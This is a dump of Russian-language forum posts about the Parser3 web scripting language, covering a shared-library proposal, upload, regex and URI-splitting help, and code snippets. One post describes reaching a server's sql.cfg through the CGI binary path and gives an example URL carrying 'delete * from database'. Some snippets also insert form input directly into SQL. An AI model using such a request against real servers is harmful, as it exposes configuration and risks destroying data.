проблема гораздо более глобальна, вспомните процессор шаблонов FastTemplate на PHP, а сколько было сурогатных библиотек _абсолютно не совместимых друг с другом, а потом появился Парсер и настал гипотетический рай, т.е. появился стандарт, возможность стыковки, возможность использовать базис, созданный другими программистами для своей надстройки, оставить силы (читать энтузиазм) для творчества, а не для рутины. Именно поэтому нужен архив библиотек, классов, сырцов! Это историческая закономерность и этот процесс не остановить - если подобный раздел не появится на _официальном_ сайте, то он появится в другом виде, в виде левых сайтов, разрозненных, несовместимых, и опять повторится история, вот что обидно! А потом бедные програмеры найдут приют в новой девственной технологии. Ничего знакомого не слышите - почитайте начало документации по Парсеру. Я понимаю что энтузиазм Пафа (интересы студии) не безграничны, но у Парсера уже есть _сообщество_. Мы создали отличный форум, многие (если не все) начинали именно здесь, и продолжают помогать вновь прибывшим, так давайте идти дальше, давайте поддерживать друг друга. Вам нужны пример, пожалуйста - Perl -> CPAN, PHP -> полно в Internet + отдельные скопления энтузиастов, Parser -> хрен! \"Я тебе не дам код! Сам пиши! Сам! Не ленись! Руками!!!\" Ну и как это выглядит на фоне отличной поддержкой на форуме? Вы боитесь халявщиков? недостойных? Поверьте мне, _такие_ отвалятся сами. Или превратятся в спецов. И нужно помогать им становиться спецами.\
\
любую вещь можно использовать в двух направлениях - \"хорошо\" и \"плохо\", любое дело требует умелого подхода, у любой медали/палки/etc. есть две стороны/конца. Одни выходят на новый уровень, другие вылетают и наша судьба в наших руках. Короче: от человека зависит.\
\
P.S. сорри за большой пост, наболело. Очень хотелось бы, чтобы его прочитали Мастера&Властители и задумались."
"9522","энто всё не важно.\
Кстати, так можно и параметры передавать\
http://127.0.0.1/cgi-bin/parser3.exe/sql.cfg?string=delete%20*%20from%20database\
\
А если попросить картинку, то он выдаст ее правильный размер, но саму ее не покажет (адрес будет показывать в cgi-bin)\
(типа http://127.0.0.1/cgi-bin/parser3/parser3.exe/envelop.gif)\
Плохо ..."
"9524","document.all поддерживает только ie 4-6, а то, что написал [i]Givi[/i] поддерживается [i]всеми[/i] современными браузерами (mozilla, netscape 6--7, ms ie 5--6). "
"9525","Появилась эта фича в Mozill'e недавно, насколько я знаю, но когда она появилась не имеет особого значения, главное, что она есть сейчас и предлагается [i]бесплатно[/i]. Ещё в мозилле есть очень удобная фича, называется Popup blocking. ;-)"
"9526","...видимо, но нужен и толчок. А толчком может послужить те же готовые решения)\
\
Конечно, мне было бы проще взять что то готовое и использовать в чем-то, или менять для своих задачах. Но ведь и сдругой стороны, будь что то готовое, фига я наверно разобрался на ту малую долю, что я знаю в парсере. \
\
Вообщем наверно думаю, чем призывать к такому, так лучше самому и сделать ну хоть тот же \"левый сайт\"))...\
\
+ конечно одна из больших проблем П. для мас - это трудность установки. И думаю, что это конечно с новыми версиями устраниться...\
\
"
"9527","http://www.textarea.ru/"
"9528","Поддерживаю и разделяю мнение slash. Готовые библиотеки нужны во многих случаях. К примеру, рассуждая с колокольни юзабилити, есть хорошие протестированные на пользвателях решения, которые грех не применять. Для начинающих тоже польза очевидна. Если кто-то хочет халявы, и в силу этого не научится делать что-то самостоятельно - это его проблемы. А анализ чужих решений - эффективный способ изучения технологии.\
С другой стороны, не думаю, что студия будет самостоятельно делать CPAN имени парсера. Пока не появится стихийного организатора с \"левым\" сайтом - дело не сдвинется. Тут уже кто-то собирался (и неоднократно) такой сайт делать, но без последствий.\
Если кто-то соберется - готов поучаствовать классом интерфейса к MySQL типа PHPMyAdmin (попроще на порядок, что для изучения лучше :)\
Насчет трудности установки - есть проект (через месяц, хочется верить, заработает) хостинга с парсером как модуль апача. По невеликим деньгам. Количество денег зависит от количества участников :), так что пишите, кому интересно. Сорри за \"рекламу\". В оправдание могу предложить бесплатный хостинг проекта Parser CPAN :) "
"9529","В Опере это давно, в Опере это тоже бесплатно, в Опере это лежит прямо на поверхности и не надо ни в какие меню лазить.\
\
А что касается блокировки поп-апов, то всё что мне нужно сделать -- нажать F12 и одним кликом отключить поп-апы. Равно как и куки, яву, яваскрипт, анимацию гифоф, плагины и т.п. Повторяю -- одним кликом. И так же легко включить обратно. :р\
\
P.S. Кстати, переключать режим отображения картинок (показывать/показывать кэшированные/не показывать) можно опять же одним кликом нажав на кнопочку прямо в панели управления. ;)\
\
А про кэш мы просто умолчим. ;)))"
"9530","А, скажем, ОС, Фотошоп, Дримвивер, МС Офис и другие программы, которыми вы можете пользоваться, думается, также бесплатны? ;)"
"9531","Спасибо! Обяъснил..., разъяснил..."
"9532","Эту проблему нужно дожимать. У каждого здесь есть пара-тройка классов, так-что \"с миру по нитке - голому рубаха\". Объеденив усилия мы сможем сделать неплохой ресурс, раз официальный сайт не поддерживает эту идею (плохо. :( Парсер выделяется на фоне других многим, надо было продолжать выделяться дальше... )"
"9533","надо спрашивать правильно (\"...знать половину ответа\")."
"9534","В переменной $str_f находится текст файла содержащего спецсимволы (в частности < и >), при выводе значения этой переменной подставляются коды символов.\
Можно ли вывести стоку \"как есть\"?\
\
...надеюсь и в воскресение здесь есть жизнь...  :)"
"9536","такая проблема. Я сделал все как в 1м уроке. но выдает ошибку и не хочет компилится :(\
Выдает это:\
\
D:\\~PARSER\\parser3>parser3.exe index.html\
\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>(junction) has no elements</pre>\
\
exception.type=parser.runtime\
\
        <hr>\
\
                <tt>menu</tt> D:/~PARSER/parser3/auto.p(9)<br>\
\
                <tt>navigation</tt> D:/~PARSER/parser3/index.html(3)<br>\
\
в 9й строке auto.p написано\
	^sections.menu{\
а в 3й строке индекс.хтмл вызывается навигация\
"
"9537","Ну как бы про ie 4 тоже забывать не надо и потом, обрати внимание, что я предложил самый оптимальный вариант this.form . А по хорошему без определения браузера не обойтись(что бы почти всем угодить) -- вообщем давай считать, что эта тема закрыта, либо пущай givi дает ТЗ и мы ему будем предлагать уже более конкретные решения.\
мир :-)"
"9538","Делал 4 урок, а он выдает такое:\
Unhandled Exception и т.д. и т.п.\
\
Что не так???"
"9539","Ссылка (урок 4):\
\
<a href=\"/news/?day=$days.$week_day\">$days.$week_day</a> \
\
 В результате в календаре получается ссылка: http//server/news/?day=15\
\
Куда (к чему) она ведет?\
Кто ее обрабатывает? Parser? Сама страница с календарем?\
И почему в результает у меня получается: \"Вы неимеете прав доступа к этой странице\"\
"
"9540","в каталоге  /adm/index.html  пишу\
\
^if(def $form:image){\
          ^form:image.save[binary; /catalog/foto/some_image.gif]\
}\
\
выдает\
\
unknown mode, must be 'append'\
\
binary\
\
/www/html/adm/index.html (25)\
\
exception.type=parser.runtime\
\
\
исправляю на append:\
^if(def $form:image){\
          ^form:image.save[append; /catalog/foto/some_image.gif]\
}\
\
картинка сохраняется, но только не от корня сайта, а в каталоге /adm/  создает структуру /catalog/foto/  и туда кладет картинку. \
\
Как сделать чтобы картинка сохранялась в /catalog/foto/ от корня сайта?\
"
"9541","Предложение ввести новую функцию ^file:copy[], т.к. ^file:move[] уже есть, а копировать приходиться \"нетрадиционным\" способом :)"
"9542","ой.. да ты действительно чайник. надо писать функции для обработки УРЛ-ов, родной.\
\
вот тебе кусок кода из моего http://www.nbsp.ru :\
[code]\
@newsByDay[y;m]\
$sdate[^date::create($y;$m)]\
$ssdate[^sdate.sql-string[]]\
$date[^ssdate.mid(0;7)]\
^connect[$SQL.connstring]{\
	$result[^hash::sql{SELECT DATE_FORMAT(dateadd, '%d') AS daynews, id FROM news WHERE dateadd LIKE '$date%'}]\
}\
# SELECT DATE_FORMAT(dateadd, '%d') AS daynews, COUNT(id) AS nc FROM news WHERE dateadd LIKE '2002-09%' GROUP BY daynews\
\
@getNewsByDate[y;m;d]\
$sdate[^date::create($y;$m;$d)]\
$ssdate[^sdate.sql-string[]]\
$date[^ssdate.mid(0;10)]\
^connect[$SQL.connstring]{\
	$result[^table::sql{SELECT n.id, n.userid, n.topicid, n.title as ntitle, n.text, n.dateadd, t.title as ttitle, t.pic, u.name, u.email FROM news AS n, topics AS t, users AS u WHERE (dateadd LIKE '%$date%') AND n.topicid = t.id AND n.userid = u.id ORDER BY dateadd DESC}]\
}\
[/code]\
\
@newsbyday проверяет новости по дням месяца\
@getNewsByDate берет новости по дате\
\
Дальше разбирайся сам. Заодно научишься."
"9543","Согласен с тобой полностью, тем более что даже сами разработчики Парсера дают его бесплатно ибо по их заявлениям они стремятся сделать РУнет лучше. Так почему бы не придерживаться этой философии и с готовыми библиотеками? Просто, мне кажется, это простая человеческая жадность. Получили инструмент на халяву и давай под себя грести.. Тут уж ничего не поделаешь. А ведь его и в коммерческих целях, наверняка, используют. Я бы в лицензии предусмотрел бы при коммерческом использовании публиковать все использованые функции здесь. Кто-то может возразить.. это ведь в какой-то мере объект авторского права, человек вкладывал свой труд и мозги, а какой-то Вася придет и использует это на халяву. Но как раз с этой целью и задумывался Парсера, если я не ошибаюсь. Без этого пропадает весь эффект от его использования, приходится все сначала нарабатывать и не всегда в лучшем виде. Писать алгоритм это тоже искусство. Так что.. какой можно сделать вывод. Просто не стесняться делиться тем что есть даже у новичков. Пусть акулы Парсера посмеются над нами, тем не менее будем потихонечку набираться и сами опыта. Вот мое предложение."
"9544","Может я и не прав, но проверь синтаксис. У меня по-началу ни один текст не компилировался просто из-за того что перед знаком { стоял пробел. После того как я все пробелы и знаки табуляции перед ним убрал все заработало. Может это и локальная ошибка конкретно у меня, а может и особенности синтаксиса Парсера, сказать не могу. Это лучше спросить у разработчиков."
"9545","Думаю что установка Парсера все же не такая большая проблема. Больше проблем у меня возникло с установкой Апачи. Информации нашел уйму, перенастраивал конфигурационный файл несколько раз, но что-то не работало и все тут. Потом просто нашел Джентельменский набор на одном сайте, скачал, запустил. Все прошло как по маслу. Там же есть и готовый инсталлятор Парсера. Тоже прошло как по маслу. Тут же все заработало и времени заняло буквально 15-20 минут. Спасибо ребятам которые придумали эту штуку! Между прочим потом просто построчно сравнивал настроечные файлы из их комплекта с тем что я сам перенастраивал.. Все установки совпдали, так что почему не работал первый вариант так и не понял (может какие-то лишние библиотеки подгружались и из-за этого возникал какой-то сбой)"
"9546","у класса file, метод save определён как \
^файл.save[формат;имя_файла] , формата только два binary и text!!!\
там нет никаго append!!!\
append есть в ^строка.save[append;имя_файла_с_путем]    \
следовательно у тебя несовпадение типов, ты попробуй закаченную картику c сервера посмотреть и наверника ты ничего не увидишь, а если посмотршишь как текст то увидешь имя файла картинки\
\
у тебя должна на странице быть такая форма:\
\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"image\"> \
<input type=\"submit\"> \
</form> \
^if(def $form:image){ \
    ^form:photo.save[binary;/catalog/foto/some_image.gif] \
 \
\
"
"9547","^form:image.save[binary;/catalog/foto/some_image.gif]"
"9548","Если самому написать сложно, конечно ... :)"
"9550","если задачу можно решить в две строчки, используя стандартные методы ... Тем более, что копирования файла операция при веб-программировании редкая и не является критической для общей производительности ... Другое дело команда move - ее стандартными методами не реализуешь ..."
"9551","Все страницы лежат в базе.\
\
при поиске из базы достаеться:\
[code]\
$searched[^table::sql{select ID, Title, MID(Text,IF(LOCATE('$sstr',Text)<50,1,LOCATE('$sstr',Text)-50),100) as Text from pages1 where Text like '%$sstr%'}]\
[/code]\
\
все бы хорошо, но проблемы с регистром букв.\
\
\"Вася\" не находиться при запросе \"вася\".\
чтобы найти \"Вася\" нужно искать \"Вася\" а не \"вася\" или \"вАся\"...\
\
"
"9553","Очень многие обычные задачи можно решить в две строчки, используя стандартные методы. P^3, как я понимаю, создан для того, чтобы не нужно было писать эти 2 строки.\
Точно также в 2 строки можно релизовать и move...\
\
В документации указывается, что P^ предназначен не только для работы с БД, но для работы с файлами тоже.\
Удаление и копирование, имхо, есть базовые функции работы с файлами, на базе которых можно реализовать в 1 строчку перемещение/переименование, и т.д.\
\
Кроме того, вопрос к разработчикам: будут ли реализованы функции работы с директориями?\
Пока я обнаружил только удаление директорий довольно странным способом - через ^file:move. (как я понимаю, это побочный эффект, цель которого - отсутствие пустых директорий в веб-пространстве)\
\
Это приципиальная позиция (на счет отстутствия ^dir/^file:copy), или просто \"руки не дошли\", в силу других приоритетов?"
"9554","Итак специально для Sumo:\
реализуем метод ^file:move[/path/file1;/file1] с помощью стандартных методов:\
\
[code]\
@file_move[from_file;to_file]\
^if(def $from_file && -f $from_file && def $to_file){\
	$tmp[^file::load[binary;$from_file]]\
	^tmp.save[binary;$to_file]\
	^file:delete[$from_file]\
	}\
[/code]\
\
когда я это писал, много чего интересного нашёл…\
например, если каталог из которого перемещается файл, после операции перемещения пустой, то он удаляется… про это в документации ничего не сказано…\
файлы перемещаются нормально как бинарики так и текстовые \
Пробовал  под  WinNT и FreeBSD, работает одинаково…\
\
и вот меня интересует вопрос почему работают такие конструкции как\
^file::load[binary][$from_file],\
ведь должно быть так: ^file::load[binary;$from_file]\
\
да и ещё товарищи объясните мне про разницу в передачи параметров\
мужду @temp[param1][param2], какая разница между двумя этими параметрами при работе метода???\
"
"9556","[quot]\
например, если каталог из которого перемещается файл, после операции перемещения пустой, то он удаляется… про это в документации ничего не сказано…\
[/quot]\
Да, действительно, про file:delete это не сказано. а сказано только про file:move, однако логика у парсера проста - он не оставляет пустых каталогов после своих операций после изменения их содержимого.\
\
[quot]\
и вот меня интересует вопрос почему работают такие конструкции как\
^file::load[binary][$from_file],\
ведь должно быть так: ^file::load[binary;$from_file]\
[/quot]\
\
Это одно и то-же.\
\
Про то, что ты просил объяснить... Я не понял вопроса."
"9557","Всё дело в пробеле после binary;\
\
^form:image.save[binary;__/catalog/foto/some_image.gif]\
\
если пробел убрать, всё пашет как надо от корня сайта, а если нет, то от файла в котором эта строка вызывается.\
\
А на счет append я сам не понял? Но это факт, так было."
"9558","всё дело в пробеле."
"9559","если ты говоришь, что ^file::load[binary][$from_file]\
и\
^file::load[binary;$from_file]\
одно и тоже то зачем введена не однозначность определения методов?\
\
я раньше думал, что если метод определить как @temp[param1][param2]\
то param2, будет передан по ссылки, но PAF объяснил что объекты по ссылки, строки по значению...\
ну я так понимаю, что это от определения метода не зависит...\
тогда зачем два способа????\
\
\
\
\
"
"9560","Скачал, пишу в командной строке:\
parser3 1.htm >111\
или просто без перенаправления.\
Файл 1.htm - просто маленький файл, без скриптов (со скриптами тоже пробовал)\
На выходе парсера пусто. Никаких данных. Будто и не запускал.\
Если устанавливаю и настраиваю iisapi, тот же результат.\
Специально скачал свежий парсер, поставил, без конфигурационных файлов и библиотек, все ненужные переменные окружения потёр - та же история.\
Кто знает, в чём тут дело?"
"9562","установка Apache сама по себе очень проста. Проблема в том, что в инструкции парсера не написано [url=\"./?id=6990\"]какую именно строчку нужно заменить в [i]/conf/httpd.conf[/i] после установки Apache[/url], чтобы можно было работать с parser2/parser3. "
"9563","Если лицензия будет принуждать публиковать исходные тексты, то тебе самому не захочется писать на парсере -- вариант со сменой лицензии не подойдёт. Если нужен просто форум (гостевая книга, чат), а самому писать лень, то какая разница между parser3, php, perl или c++? "
"9564","Здравствуйте многоуважемые участники форума!\
\
Никак не могу решить проблему связанную с разбиением $request:uri. Вопрос в следующем:\
\
необходимо разбить вводимый uri на части следущим образом:\
[code]\
http://domain.com/ -----------> $path1[]\
http://domain.com               $page[index]\
 \
/level_1/ --------------------> $path1[level1]\
/level_1                        $page[index]\
\
/level_1/page.html -----------> $path1[level1]\
                                $page[page]\
\
/level_1/level2/ -------------> $path1[level1]\
/level_1/level2                 $path2[level2]\
                                $page[index]\
\
/level_1/level2/page.html ----> $path1[level1]\
                                $path2[level2]\
                                $page[page]\
\
/level_1/.../levelN/ ---------> $path1[level1]\
/level1/.../levelN              ..............\
                                $pathN[levelN]\
                                $page[index]\
\
/level_1/.../levelN/page.html --> $path1[level1]\
                                  ..............\
                                  $pathN[levelN]\
                                  $page[page]\
[/code]\
\
Т.е. название каталога становится значением переменной $pathN, где N номер уровня вложенности, а название страницы становится значением переменной $page. Если в составе URI нет страницы (http://domain.com/ или http://domain.com/about), то $page присваивается значение index.\
\
Я пытался нарисовать все это с помощью методов класса file, но так и не смог, точнее не получилось реализовать разбиение для многоуровневой структуры. Предполагаю, что можно это сделать при помощи match и Рег.Выр., но пока я еще не разобрался с ними и окончательно запутался. \
\
Помогите пожалуйста.\
Зачем это нужно? - Чтобы брать эти части и сверять их в базе, а потом уже работать со страницей.\
\
С уважением,\
Baurjan.\
"
"9565","Директории в Parser удаляются и создаются весьма логично... Есть в директории файл, есть и сам директорий, нет файла - и нечего его оставлять. Что же касательно создания этих самых директориев, то все тоже весьма логично. Если к примеру пишешь:\
[code]\
^string.save[/несуществующий_директорий/файл]\
[/code]\
то сначала создастся директорий, потом в него запишется файл, очень на мой взгляд хорошая логика. Спсб PAF-у."
"9566","а десяток, другой классов, только вряд-ли их можно в библиотеку пихать, - уж очень они специфичны. Создание библиотек дело долгое и кропотливое, с миру по нитке тут не покатит, я думаю."
"9567","[quote]\
Определение методов и пользовательских операторов \
\
@оператор[параметры]  \
@оператор[параметры][локальные переменные]  \
@метод[параметры]  \
@метод[параметры][локальные переменные]   \
[/quote]\
\
все логично и просто ... "
"9568","http://parser.ru/docs/lang/definemethod.htm\
[quot]\
@метод[параметры][локальные переменные]\
[/quot]\
\
Т.е. при описании метода все, что во вторых скобках - это локальные переменные метода.\
\
Параметры в метод всегда передаются по ссылке, и если тебе нужно получить их копию - ты сам должен предпринять какие-либо действия...\
\
Про вызовы методов, смотрим сюда:\
http://parser.ru/docs/lang/params.htm\
У нас метод может вызываться так:\
^temp[$a]{^eval($a+$b)} - т.е. первый параметр перед передачей будет вычислен, а второй - будет вычисляться каждый раз при обращени к нему из метода. Поэтому ^temp[$a][$b] - лишь один из частных случаев вызова, а ^temp[$a;$b], ^temp{$a;$b} - упрощенные записи, когда все переметры передаются одинакого.\
"
"9569","http://www.parser.ru/docs/lang/stringsplit.htm"
"9571","оправданья нет.\
под unix нормально. \
\
workaround:\
под windows, если используется IIS, parser вообще не рекомендуется ставить в виртуальный cgi-bin. там его можно поставить в произвольный каталог, куда нет веб-доступа."
"9572","[code]\
@splituri[adr][i;tadr]\
^if(^adr.right(1) ne \"/\"){$adr[${adr}/]}\
^if(^adr.pos[.html]!=-1){\
	$adr[^adr.left(^adr.pos[.html])]\
}{\
	$adr[${adr}index]\
}\
$tadr[^adr.lsplit[/]]\
$path[^hash::create[]]\
^tadr.menu{\
	^if(^tadr.line[]==^tadr.count[]){\
		$page[$tadr.piece]\
	}{\
		$i[^tadr.offset[]]\
		^if($tadr.piece eq \"\"){\
			$path.1[home]\
		}{\
			$path.$i[$tadr.piece]\
		}\
	}\
}\
\
## вызываем \
^splituri[$request:uri]\
## N это номер уровня\
$path.N\
$page\
[/code]"
"9575","вот и весь ответ.\
\
у кого есть, как он думает достойное, шлите. \
можно мне, можно сразу Мише.\
\
идеал: класс, в заголовке\
\
[code]\
#подробный комментарий, что делает\
#с примером использования\
@CLASS\
имя\
\
…\
[/code]\
\
в любом случае, он отфильтрует, и достойные с его точки зрения попадут в новый раздел, который под это дело организуем."
"9576","пойтите в cgi-bin/auto.p, найдите ^unhandled_exception_release, измените на ^unhandled_exception_debug.\
\
повторите ошибку.\
\
а полный текст с экрана: Copy.\
в письмо Paste"
"9577","мелкое уточнение: когда [b]соседние[/b] параметры нужно передать одинакого, можно не закрывать скобку и открывать её, можно поставить ';'.\
\
см. пример в доке, один из вариантов вызова:\
[code]\
^image.copy[source](src x;src y;src w;src h;dst x;dst y)\
[/code]"
"9579","для начала запустите просто [code]parser3[/code], причём сделайте это не из FAR или чего подобного, а просто из Explorer.\
\
если вы забыли списать какие-то важные .DLL, вы получите от системы красивое сообщение, которое подскажет вам, что делать."
"9580","Версия без XML нормально работает с библиотеками в \
<каталог parser>\\lib\
а версия с XML хочет все библиотеки непосредственно в \
<каталог parser>"
"9581","к одним библиотекам задаётся путь в конфигах,\
к другим нет, согласно Win32 соглашениям, они должны находиться или рядом с .exe, или каталог с ними должен быть упомянут в PATH, или [остальные варианты skipped].\
\
впрочем, одно странное есть: этот вариант предложен тут вот:\
http://parser.ru/download/win32/\
\
а вы его не прочли.\
[quote]\
Если вам необходима возможность работать с XML, выберите соответствующую версию. Также скачайте и распакуйте рядом с основным исполняемым файлом архив «Библиотеки поддержки XML».\
[/quote]"
"9583","Есть на страничке форма, которая запрашивает у пользователя Интернета путь к определенным файлам, содержащихся на его жестком диске, которые надо прочитать и записать на web-сервер. Как это воспроизвести на Парсере? Количество файлов почти не ограничено, но несколько из них должны присутствовать в директории обязательно."
"9584","Хотелось бы спросить, кто-нибудь делал сортировку результатов поиска в базе данных по релевантности?\
\
У меня следующие соображения: в результате поискового запроса создается таблица (например, $SearchResults), в которой хранятся строки из БД, удовлетворяющие запросу. А далее следует посчитать количество совпадений фразы целиком, всех слов по отдельности и просто одного из слов и каждой строчке из $SearchResults присвоить некий коэффициент релевантности, по которому далее можно табличку сортировать и выдавать пользователю. Хотелось бы спросить, каким образом грамотнее всего считать это самое количество совпадений? Если кто знает, поделитесь опытом, плиз. Заранее спасибо!"
"9585","Будет вам раздел, будет!\
 Поражает нежелание работать! Вот теперь вам остается ждать когда кто нибудь решится дать свой код. Помоему,(не принимайте близко к сердцу) мало кто станет это делать. В первую очередь, здесь подаст голос профессиональная застенчивость, а иногда и боязнь за \"несовершенство\" кода. В некоторых случаях - жадность и эгоизм.\
\
А так - с днем рождения \"наш\" новый раздел! Пусть ему сопутствуют удача и сподвижники! Да не потерпит он бед и лишений и да будет полон его контент! Даешь open source!\
....все встают и хлопают....\
\
P.S. Вот у меня есть модуль опроса. Я его немного \"подобью\", и, наверное, вышлю Мише... Другие не дам!!!...:)))...Я застенчивый, боюсь, жадный и эгоист...:)"
"9586","я раз послал ... меня послали :) больше посылать не хочется, да и нечего собственно говоря посылать то - кривизны много, а здесь нужны примеры для того чтобы показывать приёмы программирования а не банальные вещи."
"9587","у тебя должна на странице быть такая форма:\
\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"file_name\"> \
<input type=\"submit\"> \
</form> \
^if(def $form:file_name){ \
^form:file.save[binary;...some code here, look i docs...]"
"9588","и после твоего поста аж перехотелось посылать-то... Не прельщает меня перспектива быть посланным..:)"
"9590","Да понятное дело, я так и сделал пока, но ведь это надо делать загрузку по одному файлу, т.е. сначала пользователь выбрал и загрузил один файл, потом то же самое с другим файлом. А так просто указал бы из какой папки грузить и Парсер затолкал бы оттуда все эти файлы на сервер."
"9591","откуда Парсеру знать, что там у юзера на харде?"
"9593","Такая ситуация - есть форум, дерево которого кешируется в файле (ибо, как нас тут не раз учили, нефиг sql сервер зазря мучить, если есть кеширование). При добавении реплики все файлы из cache/forum/ сносятся и клиенту выдаётся новая версия дерева.\
\
Проблема в том, что когда один пользователь добавляет реплику, а второй открывает страницу форума, я огребаю стандартную ошибку, связанную с невозможностью удалить файл, который читается в настоящий момент и пользователь получает очаровательное [url=\"http://forum.gfk.ru/404.html?e=parser&comment=unlink failed: Permission denied (13), actual filename 'C:/Inetpub/FORUM.GFK.RU/HTML/etc/temp/cache_forum_25_reverse.tmp'&source=&file=C:/Inetpub/FORUM.GFK.RU/HTML/etc/classes/forum.p&lineno=2&type=file.access\"]сообщение об ошибке[/url]. \
\
Ладно, я буду ловить его через ^try[], но можно ли \"соломки постелить\" - можно ли сделать так, чтобы парсер ждал полсекунды при ошибке доступа, пробовал ещё раз, и только тогда бы \"выкидывал белый флаг\", а?\
\
Можно мне такой подарок к дню рождения - не хочу, по крайней мере, сейчас, с try мучиться :)"
"9594","имеется форма, в неё должны ввести цену. \
цена отсылается в БД, где хранится только в виде Х.ХХ или Х (где Х-цифра).\
как правильно логически проверить правильно ли заполнили такую форму.\
я пишу:\
^if(def $form:prise){\
      ^if(^form:prise.match[\\d+]){  #как правильно построеть рег. выр.\
               ok данные проходят\
        }{\
             нет уж должны быть только цифры\
         }\
}{\
поле не заполнено\
}\
 \
когда запихиваешь только буквы и всякую ,/?'; туфту проверка срабатывает. но если написать 5dfg всё пропускается в БД."
"9595","1) Есть такая функция SOUNDEX (см. MySQL help), возвращает число по строке.\
2) Разбираем страницу(текст) по словам, записываем в таблицу\
url текста, SOUNDEX, слово, смещение в тексте (число)\
3) При запросе на поиск делаем поиск по SOUNDEX запрашиваемого слова\
4) Релевантность высчитывается относительно кол-ва совпадений по url+по разности смещений в тексте (близость слов друг к другу)\
5) Вывод выборки слов - по смещение запр. слова +100, по смещение запр. слова -100,\
что даст выборку контекста.\
"
"9596","Про лицензию я имел в виду коммерческое использование Парсера. В личных целях каждый может делать что угодно. А по большому счету это было даже не предложение, а просто мысли вслух. Ведь понятно что никто ничего менять не будет, даже если и изменят то люди все равно будут его использовать без соблюдения оговоренных соглашений, таков уж наш менталитет. А относительно меня.. Если мне удастся в будущем создать шедевр достойный внимания я его с радостью опубликую. И еще.. про ПХП, перл и прочее. Не забывай что не в Росии их придумали и аудитория у них намного шире. Но и это было достигнуто благодаря широкому обмену наработками. Вполне вероятно, но не факт, что когда мануал переведут на английский (если еще этого не сделали) и к кругу российских разработчиков присоедениться и заграница они тут же не приминут выпустить платные библиотеки заготовок, впрочем тут же в ответ появится и серевер с бесплатными.. Так что же? Будем ждать когда заграница нам поможет? ;)"
"9598","[code]\
^if(def $form:prise){\
^if(^form:prise.match[\\d?\\.\\d+]){\
все ок\
}{\
нет уж должны быть только цифры\
}\
}{\
поле не заполнено\
}\
[/code]"
"9599","Простой скрипт типа cp /path/to/cache /dev/null\
Система дождется освобождения от лока и снесет кэш к ядрене фене..."
"9600","^if(def $form:price){\
 ^if(^form:price.match[^^\\d\\.]){\
  обылдел, родной? цену циферками надо указывать...\
 }{\
   все чих пых...\
 }\
}{\
 поле не заполнено\
}\
\
# словами: если во введенной строке есть что-либо кроме цифры и точки - ругаемся... но по хорошему можно сначала заменить запятую на точку, мало-ли кто не в курсе, что дробная часть точкой отделяется :)"
"9601","проверил."
"9602","то [code]\
^if(^form:price.match[^^\\d{2}(\\.\\d{2})?^$]){\
   yes\
}{\
   no\
}\
[/code]\
однако, если нужно число, советую обратить внимание на ^form:price.int(0)"
"9603","О, у вас, наверное, золотой компьютер. Потому что в его стоимость включены 200 грина за, скажем, WinXP Home Version (разумеется, я не говорю об OEM), 480 за MS OfficeXP (+100 за Professional Edition, +320 за Developer) и по 400 за Фотошоп и Дримвивер. Батенька, а вы, часом, не кулачок-с? Смотрите, а то ведь и раскулачить можем. ;)))"
"9604","^if(def $form:prise){\
^if(^form:prise.match[^^\\d+^$|^^\\d+\\.\\d+^$|^^\\d+\\,\\d+^$]){ \
#а тут ещё replace забубенить, для замены , на .\
$clr_prise[^form:prise.replase[$zamena]]\
#тут сразу вопрос возник. А нельзя ли так\
#$form:prise[^form:prise.replase[$zamena]]\
ok данные проходят\
}{\
нет уж должны быть только цифры\
}\
}{\
поле не заполнено\
}"
"9605","Не прокатит :) Мне, пожалуйста, чисто парсерное решение :)"
"9606","Здраквствуйте.\
\
Скажите, есть ли какой либо простой способ создать веб интерфейс к файловому архиву?"
"9607","то же самое и в ^file:rename и дальше по списку? совсем некрасиво.\
\
идеи?"
"9608","изменено 3 раза..:))\
\
нууу...или украсть где нибудь (но за это и по шапке можно схватить).\
\
Или выпросить у кого нибудь...\
\
Здесь тебе просто так ничего не дадут...да и нигде не дадут...:)\
\
А если по делу - зная парсер, тут делов-то...\
\
хотя зависит от планируемых возможностей архива, в простенький интерфейс...5 сек.\
\
вот кое-какие идеи...\
[code]\
@getfiles[]\
$dir[/]\
$search[^file:list[$dir]]\
^if($search){\
	^search.menu{\
		$str[$search.name]\
		^if(^str.match[\\.html^$] || !^str.match[\\.] && !^str.match[^^admin^$] && !^str.match[^^i^$] && !^str.match[^^classes^$]){\
			^if(!^str.match[\\.]){\
			<ul>\
			$search.name<br>\
			^getsub[${dir}${str}]\
			</ul>\
			}{\
			$search.name\
			$f[^file::load[text;${dir}${str}]] $f.size<br>\
			}\
		}\
	}\
}\
\
@getsub[subdir]\
$subs[^file:list[$subdir/]]\
^if($subs){\
	^subs.menu{\
		$str[$subs.name]\
		^if(^str.match[\\.html^$] || !^str.match[\\.]){\
			^if(!^str.match[\\.]){\
				<li>$subs.name\
				<ul>\
				$subdir[${subdir}/${str}]\
				^getsub[$subdir]\
				</ul>\
			}{\
				<li>$subs.name\
				$f[^file::load[text;${subdir}/${str}]] $f.size\
			}\
		}\
	}\
}\
[/code]\
"
"9609","И наверное сами были не рады этому, но вынужден констатировать факт, что выкладывать код, в котором есть логические недостатки типа ^if($form:a == 1){...} я не буду.\
Так-же не буду выкладывать код, где используются методы, противоречашие \"духу парсера\", например использование кучи переменных $arr1, $arr2, ... $arrN вместо хеша/таблица и т.д.\
\
Однако следует заметить, что я вступал в дискуссии почтой, чтобы человек довел код до нормального состояния, и после этого код выкладывался. Возможно что не всех такой мой подход устраивает...\
\
Надеюсь, что некоторым он помог и они узнали что-нить новое :) (ау, Eugene...)"
"9610","...вторая попытка через 200-300 миллисекунд и только потом - сообщение об ошибке - это плохо?\
\
Близкий пример - вот в досовской файловой системе (про NT/XP не в курсе) система осуществляет три попытки доступа к файлу при сбоях операции чтения и [i]только потом[/i], при продолжающихся сбоях, сообщает об ошибке - никому от такого решения плохо не было."
"9612","Здравствуйте\
\
Агат, разрешите воспользоваться вторым способом (если у Вас такая возможность). \
\
Наверное правильно сделать так?\
- загружать файлы на сервер в БД\
- хрнить их в БД вместе с описанием и тд\
- отображать на странице в виде - файл - размер - описание - етс \
\
Если ТАК и положено правильно делать можно поковыряться. Просто (начальству)внезапно стало очень надо, а как именно ..\
\
\
"
"9613","пример \"спротивности No.1\"\
adr == /aaa/index.html\
на строке 2 делаем из него /aaa/index.html/\
на строках 3-7 делаем из него /aaa/index\
\
